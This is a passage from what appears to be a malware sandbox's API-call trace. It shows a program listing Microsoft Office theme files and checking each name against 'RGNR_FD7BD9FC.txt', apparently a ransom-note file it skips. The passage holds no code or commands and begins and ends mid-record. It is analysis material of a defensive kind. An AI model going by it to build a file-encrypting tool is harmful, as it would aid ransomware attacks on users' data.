ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1 [0094.247] lstrcmpiW (lpString1="Concourse.xml", lpString2=".") returned 1 [0094.247] lstrcmpiW (lpString1="Concourse.xml", lpString2="..") returned 1 [0094.247] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f36100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13f36100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0094.247] lstrcmpiW (lpString1="Couture.xml", lpString2=".") returned 1 [0094.247] lstrcmpiW (lpString1="Couture.xml", lpString2="..") returned 1 [0094.247] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1 [0094.247] lstrcmpiW (lpString1="Elemental.xml", lpString2=".") returned 1 [0094.247] lstrcmpiW (lpString1="Elemental.xml", lpString2="..") returned 1 [0094.247] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0094.247] lstrcmpiW (lpString1="Equity.xml", lpString2=".") returned 1 [0094.247] lstrcmpiW (lpString1="Equity.xml", lpString2="..") returned 1 [0094.247] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1 [0094.247] lstrcmpiW (lpString1="Essential.xml", lpString2=".") returned 1 [0094.247] lstrcmpiW (lpString1="Essential.xml", lpString2="..") returned 1 [0094.247] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1 [0094.247] lstrcmpiW (lpString1="Executive.xml", lpString2=".") returned 1 [0094.247] lstrcmpiW (lpString1="Executive.xml", lpString2="..") returned 1 [0094.247] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0094.247] lstrcmpiW (lpString1="Flow.xml", lpString2=".") returned 1 [0094.247] lstrcmpiW (lpString1="Flow.xml", lpString2="..") returned 1 [0094.247] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0094.247] lstrcmpiW (lpString1="Foundry.xml", lpString2=".") returned 1 [0094.247] lstrcmpiW (lpString1="Foundry.xml", lpString2="..") returned 1 [0094.247] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0094.247] lstrcmpiW (lpString1="Grid.xml", lpString2=".") returned 1 [0094.247] lstrcmpiW (lpString1="Grid.xml", lpString2="..") returned 1 [0094.247] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xf09, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1 [0094.247] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".") returned 1 [0094.248] lstrcmpiW (lpString1="Hardcover.xml", lpString2="..") returned 1 [0094.248] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0094.248] lstrcmpiW (lpString1="Horizon.xml", lpString2=".") returned 1 [0094.248] lstrcmpiW (lpString1="Horizon.xml", lpString2="..") returned 1 [0094.248] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0094.248] lstrcmpiW (lpString1="Median.xml", lpString2=".") returned 1 [0094.248] lstrcmpiW (lpString1="Median.xml", lpString2="..") returned 1 [0094.248] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0094.248] lstrcmpiW (lpString1="Metro.xml", lpString2=".") returned 1 [0094.248] lstrcmpiW (lpString1="Metro.xml", lpString2="..") returned 1 [0094.248] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0094.248] lstrcmpiW (lpString1="Module.xml", lpString2=".") returned 1 [0094.248] lstrcmpiW (lpString1="Module.xml", lpString2="..") returned 1 [0094.248] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe39, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1 [0094.248] lstrcmpiW (lpString1="Newsprint.xml", lpString2=".") returned 1 [0094.248] lstrcmpiW (lpString1="Newsprint.xml", lpString2="..") returned 1 [0094.248] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0094.248] lstrcmpiW (lpString1="Office 2.xml", lpString2=".") returned 1 [0094.248] lstrcmpiW (lpString1="Office 2.xml", lpString2="..") returned 1 [0094.248] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic 2.xml", cAlternateFileName="OFFICE~3.XML")) returned 1 [0094.248] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2=".") returned 1 [0094.248] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="..") returned 1 [0094.248] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0094.248] lstrcmpiW (lpString1="Office Classic.xml", lpString2=".") returned 1 [0094.248] lstrcmpiW (lpString1="Office Classic.xml", lpString2="..") returned 1 [0094.248] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0094.248] lstrcmpiW (lpString1="Opulent.xml", lpString2=".") returned 1 [0094.248] lstrcmpiW (lpString1="Opulent.xml", lpString2="..") returned 1 [0094.248] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0094.248] lstrcmpiW (lpString1="Oriel.xml", lpString2=".") returned 1 [0094.248] lstrcmpiW (lpString1="Oriel.xml", lpString2="..") returned 1 [0094.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0094.249] lstrcmpiW (lpString1="Origin.xml", lpString2=".") returned 1 [0094.249] lstrcmpiW (lpString1="Origin.xml", lpString2="..") returned 1 [0094.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0094.249] lstrcmpiW (lpString1="Paper.xml", lpString2=".") returned 1 [0094.249] lstrcmpiW (lpString1="Paper.xml", lpString2="..") returned 1 [0094.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1 [0094.249] lstrcmpiW (lpString1="Perspective.xml", lpString2=".") returned 1 [0094.249] lstrcmpiW (lpString1="Perspective.xml", lpString2="..") returned 1 [0094.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0094.249] lstrcmpiW (lpString1="Pushpin.xml", lpString2=".") returned 1 [0094.249] lstrcmpiW (lpString1="Pushpin.xml", lpString2="..") returned 1 [0094.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a69f0a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8a69f0a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0094.249] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0094.249] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0094.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b1a6f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b1a6f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1 [0094.249] lstrcmpiW (lpString1="Slipstream.xml", lpString2=".") returned 1 [0094.249] lstrcmpiW (lpString1="Slipstream.xml", lpString2="..") returned 1 [0094.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0094.249] lstrcmpiW (lpString1="Solstice.xml", lpString2=".") returned 1 [0094.249] lstrcmpiW (lpString1="Solstice.xml", lpString2="..") returned 1 [0094.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0094.249] lstrcmpiW (lpString1="Technic.xml", lpString2=".") returned 1 [0094.249] lstrcmpiW (lpString1="Technic.xml", lpString2="..") returned 1 [0094.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xeff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0094.249] lstrcmpiW (lpString1="Thatch.xml", lpString2=".") returned 1 [0094.249] lstrcmpiW (lpString1="Thatch.xml", lpString2="..") returned 1 [0094.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0094.249] lstrcmpiW (lpString1="Trek.xml", lpString2=".") returned 1 [0094.249] lstrcmpiW (lpString1="Trek.xml", lpString2="..") returned 1 [0094.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0094.249] lstrcmpiW (lpString1="Urban.xml", lpString2=".") returned 1 [0094.249] lstrcmpiW (lpString1="Urban.xml", lpString2="..") returned 1 [0094.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0094.249] lstrcmpiW (lpString1="Verve.xml", lpString2=".") returned 1 [0094.250] lstrcmpiW (lpString1="Verve.xml", lpString2="..") returned 1 [0094.250] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0094.250] lstrcmpiW (lpString1="Waveform.xml", lpString2=".") returned 1 [0094.250] lstrcmpiW (lpString1="Waveform.xml", lpString2="..") returned 1 [0094.250] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0094.250] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0094.250] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8a69f0a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8a69f0a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0094.250] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8a69f0a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8a69f0a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.250] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0094.250] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.250] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Adjacency.xml" | out: lpString1="Adjacency.xml") returned="Adjacency.xml" [0094.250] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml") returned=".xml" [0094.250] lstrcmpiW (lpString1="Adjacency.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.250] lstrcmpiW 